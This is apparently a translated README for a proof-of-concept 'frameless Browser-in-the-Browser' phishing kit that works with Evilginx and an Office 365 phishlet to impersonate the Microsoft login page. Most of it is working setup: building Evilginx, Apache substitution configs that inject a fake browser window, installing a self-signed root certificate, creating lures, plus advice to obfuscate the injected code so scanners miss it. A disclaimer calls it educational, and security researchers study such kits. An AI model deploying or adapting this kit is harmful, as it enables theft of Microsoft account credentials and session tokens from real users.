
Новый подход к Browser In The Browser (BITB) без использования iframe, позволяющий обходить традиционные framebusters, реализованные на страницах входа, таких как Microsoft, и использовать с Evilginx.
Новый подход к концепции Browser In The Browser (BITB) без использования iframe, позволяющий обходить традиционные framebusters, реализованные на страницах входа, таких как Microsoft.
Этот POC-код создан для использования нового BITB с Evilginx и фишлетом Microsoft Enterprise.

Прежде чем углубляться, рекомендую сначала ознакомиться с моим выступлением на BSides 2023, где я впервые представил эту концепцию вместе с важными деталями о том, как создать «идеальную» фишинговую атаку. ▶ Смотреть видео
Этот инструмент предназначен только для образовательных и исследовательских целей. Он демонстрирует метод Browser In The Browser (BITB) без использования iframe. Автор не несет ответственности за любое неправомерное использование. Используйте этот инструмент только законно и этично, в контролируемых средах для тестирования защиты кибербезопасности. Используя этот инструмент, вы соглашаетесь делать это ответственно и на свой страх и риск.
За последний год я экспериментировал с различными трюками, чтобы создать «идеальную» фишинговую атаку. Типичные «красные флаги», на которые людей учат обращать внимание, — это срочность, угрозы, авторитет, плохая грамматика и т.д. Следующее, что люди сейчас проверяют, — это ссылка/URL веб-сайта, с которым они взаимодействуют, и они становятся очень осознанными в тот момент, когда их просят ввести конфиденциальные учетные данные, такие как электронная почта и пароли.
Вот тут и вступает в игру Browser In The Browser (BITB). Первоначально представленный @mrd0x, BITB — это концепция создания видимости правдоподобного окна браузера, внутри которого злоумышленник контролирует содержимое (путем отображения вредоносного сайта внутри iframe). При этом поддельная адресная строка поддельного окна браузера установлена на легитимный сайт, который ожидает пользователь. В сочетании с таким инструментом, как Evilginx, это становится идеальным рецептом для правдоподобной фишинговой атаки.
Проблема в том, что за последние месяцы/годы крупные сайты, такие как Microsoft, внедрили различные маленькие трюки под названием «framebusters/framekillers», которые в основном пытаются сломать iframe, которые могут использоваться для отображения прокси-сайта, как в случае с Evilginx.
Короче говоря, Evilginx + BITB для таких сайтов, как Microsoft, больше не работает. По крайней мере, не с BITB, основанным на iframe.
Browser In The Browser (BITB) без каких-либо iframe! Вот так просто.
Это означает, что теперь мы можем использовать BITB с Evilginx на таких сайтах, как Microsoft.
Evilginx здесь — это лишь яркий пример, но та же концепция может быть использована и для других сценариев.
Framebusters нацелены именно на iframe, поэтому идея состоит в том, чтобы создать эффект BITB без использования iframe и без нарушения исходной структуры/содержимого прокси-страницы. Этого можно достичь путем внедрения скриптов и HTML рядом с исходным содержимым с помощью поиска и замены (также известной как substitutions), а затем полагаясь исключительно на трюки HTML/CSS/JS для создания визуального эффекта. Мы также используем дополнительный трюк под названием «Shadow DOM» в HTML, чтобы разместить содержимое целевой страницы (фон) таким образом, чтобы оно не мешало прокси-контенту, что позволяет нам гибко использовать любую целевую страницу с небольшими дополнительными JS-скриптами.
Создайте локальную Linux ВМ. (Я лично использую Ubuntu 22 на VMWare Player или Parallels Desktop)
Обновите и обновите системные пакеты:
sudo apt update && sudo apt upgrade -y
Создайте нового пользователя evilginx и добавьте его в группу sudo:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Проверьте, что пользователь evilginx находится в группе sudo:
su - evilginx
sudo ls -la /root
Перейдите в домашнюю директорию пользователя:
cd /home/evilginx
(Вы также можете все делать как sudo пользователь, так как мы все запускаем локально)
Скачайте и соберите Evilginx: Официальная документация
Скопируйте файлы Evilginx в /home/evilginx
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
ДОБАВЬТЕ: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Проверьте:
go version
Установите make:
sudo apt install make
Соберите Evilginx:
cd /home/evilginx/evilginx2
make
Создайте новую директорию для нашей сборки evilginx вместе с фишлетами и редиректорами:
mkdir /home/evilginx/evilginx
Скопируйте сборку, фишлеты и редиректоры:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Быстрое исправление брандмауэра Ubuntu (спасибо @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
В Ubuntu, если вы получаете ошибку Failed to start nameserver on: :53, попробуйте изменить этот файл
sudo nano /etc/systemd/resolved.conf
отредактируйте/добавьте DNSStubListener в no > DNSStubListener=no
затем
sudo systemctl restart systemd-resolved
Поскольку мы будем использовать Apache2 перед Evilginx, нам нужно заставить Evilginx слушать другой порт, отличный от 443.
nano ~/.evilginx/config.json
ИЗМЕНИТЕ https_port с 443 на 8443
Установите Apache2:
sudo apt install apache2 -y
Включите модули Apache2, которые будут использоваться: (Мы также отключаем модуль access_compat, так как он иногда вызывает проблемы)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Запустите и включите Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
Проверьте, работает ли Apache и сетевое взаимодействие ВМ, перейдя по IP-адресу ВМ из браузера на хост-машине.
Установите git, если он еще не установлен:
sudo apt -y install git
Клонируйте этот репозиторий:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Создайте каталоги для страниц, которые мы будем обслуживать:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Скопируйте каталоги для каждой страницы:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Опционально: Удалите страницу Apache по умолчанию (не используется):
sudo rm -r /var/www/html/
Скопируйте фишлет O365 в каталог phishlets:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
Опционально: Чтобы настроить виджет Calendly на использование вашей учетной записи вместо той, что по умолчанию внутри, перейдите в pages/primary/script.js и измените CALENDLY_PAGE_NAME и CALENDLY_EVENT_TYPE.
Примечание о демо-обфускации: Как я объясняю в видео-руководстве, я включил минимальную обфускацию для текстового содержимого, такого как URL-адреса и заголовки BITB. Вы можете открыть демо-обфускатор, открыв demo-obfuscator.html в своем браузере. В реальном сценарии я настоятельно рекомендую обфусцировать большие фрагменты внедренного HTML-кода или использовать JS-трюки, чтобы избежать обнаружения и блокировки. Продвинутая версия, над которой я работаю, будет использовать комбинацию продвинутых трюков, чтобы сделать практически невозможным для сканеров снятие отпечатков/обнаружение кода BITB, так что следите за обновлениями.
Поскольку мы все запускаем локально, нам нужно сгенерировать самоподписанные SSL-сертификаты, которые будут использоваться Apache. Evilginx не понадобятся сертификаты, так как мы будем запускать его в режиме разработчика.
Мы будем использовать домен fake.com, который будет указывать на нашу локальную ВМ. Если вы хотите использовать другой домен, обязательно измените домен во всех файлах (файлы конфигурации Apache, JS-файлы и т.д.)
Создайте каталог и родительские каталоги, если они не существуют:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Сгенерируйте SSL-сертификаты с помощью конфигурационного файла OpenSSL:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Измените права доступа к закрытому ключу:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
Скопируйте пользовательские файлы substitution (основная часть нашего подхода):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Важное примечание: В этом репозитории я включил 2 конфигурации substitution для Chrome на Mac и Chrome на Windows BITB. Обе имеют автоматическое обнаружение и стилизацию для светлой/темной темы и должны служить базовыми шаблонами для достижения того же для других комбинаций браузер/ОС. Поскольку я не включил автоматическое обнаружение комбинации браузер/ОС, используемой для посещения нашей фишинговой страницы, вам придется использовать одну из двух или реализовать свою собственную логику автоматического переключения.
Оба конфигурационных файла в /apache-configs/ одинаковы, только с разными директивами Include для включаемого файла substitution. (для каждого файла есть 2 ссылки)
# Раскомментируйте тот, который вам нужен, и не забудьте перезапустить Apache после любых изменений:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Просто для упрощения я включил обе версии как отдельные файлы для этого следующего шага.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Проверьте конфигурации Apache, чтобы убедиться в отсутствии ошибок:
sudo apache2ctl configtest
Перезапустите Apache для применения изменений:
sudo systemctl restart apache2
Получите IP-адрес ВМ с помощью ifconfig и запишите его куда-нибудь для следующего шага.
Теперь нам нужно добавить новые записи в файл hosts, чтобы домен, используемый в этой демонстрации fake.com, и все используемые поддомены указывали на нашу ВМ, на которой запущены Apache и Evilginx.
В Windows:
Откройте Блокнот от имени администратора (Поиск > Блокнот > Правый клик > Запуск от имени администратора)
Нажмите на опцию Файл (слева вверху) и в адресной строке Проводника скопируйте и вставьте следующее:
C:\Windows\System32\drivers\etc\
Измените тип файлов (снизу справа) на «Все файлы».
Дважды щелкните файл с именем hosts
На Mac:
Откройте терминал и выполните следующее:
sudo nano /private/etc/hosts
Теперь измените следующие записи (замените [IP] на IP вашей ВМ) и вставьте записи в конец файла hosts:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
Сохраните и выйдите.
Теперь перезапустите браузер перед переходом к следующему шагу.
Примечание: На Mac используйте следующую команду для очистки кеша DNS:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
Эта демонстрация создана с предоставленным фишлетом Office 365 Enterprise. Чтобы получить записи hosts, которые нужно добавить для другого фишлета, используйте phishlet get-hosts [ИМЯ_ФИШЛЕТА], но не забудьте заменить 127.0.0.1 на фактический локальный IP вашей ВМ.
Поскольку мы используем самоподписанные SSL-сертификаты, наш браузер будет предупреждать нас каждый раз, когда мы пытаемся посетить fake.com, поэтому нам нужно заставить хост-машину доверять центру сертификации, подписавшему SSL-сертификаты.
Для этого шага проще следовать видеоинструкциям, но вот суть.
Откройте https://fake.com/ в вашем браузере Chrome.
Проигнорируйте предупреждение о небезопасном сайте и перейдите на страницу.
Нажмите на значок SSL > Подробнее > Экспортировать сертификат ВАЖНО: При сохранении имя должно заканчиваться на .crt, чтобы Windows открыл его правильно.
Дважды щелкните по нему > установить для текущего пользователя. НЕ выбирайте автоматическое размещение, вместо этого поместите сертификат в определенное хранилище: выберите "Trusted Root Certification Authorities".
На Mac: для установки только для текущего пользователя > выберите "Связка ключей: login" И нажмите "Просмотреть сертификаты" > сведения > доверие > Всегда доверять
Теперь ПЕРЕЗАПУСТИТЕ ваш браузер
Теперь вы должны иметь возможность посетить https://fake.com и увидеть домашнюю страницу без каких-либо SSL-предупреждений.
На данный момент все должно быть готово, так что мы можем запустить Evilginx, настроить фишлет, создать нашу приманку и протестировать ее.
Опционально: Установите tmux (чтобы evilginx продолжал работать даже после закрытия сессии терминала. В основном полезно при работе на удаленной ВМ.)
sudo apt install tmux -y
Запустите Evilginx в режиме разработчика (используя tmux, чтобы не потерять сессию):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(Для повторного подключения к сессии tmux используйте tmux attach-session -t evilginx)
Конфигурация Evilginx:
config domain fake.com
config ipv4 127.0.0.1
ВАЖНО: Установите режим черного списка Evilginx в NoAdd, чтобы избежать блокировки Apache, поскольку все запросы будут поступать от Apache, а не от фактического IP посетителя.
blacklist noadd
Настройка фишлета и приманки:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Скопируйте URL приманки и посетите его из своего браузера (используйте гостевого пользователя в Chrome, чтобы не удалять все сохраненные/кэшированные данные между тестами).
Оригинальный BITB на основе iframe от @mrd0x: https://github.com/mrd0x/BITB
Курс Evilginx Mastery от создателя Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery
Мое выступление на BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg
Как защитить Evilginx с помощью Cloudflare и обфускации HTML: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Ресурсы Evilginx для Microsoft 365 от @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/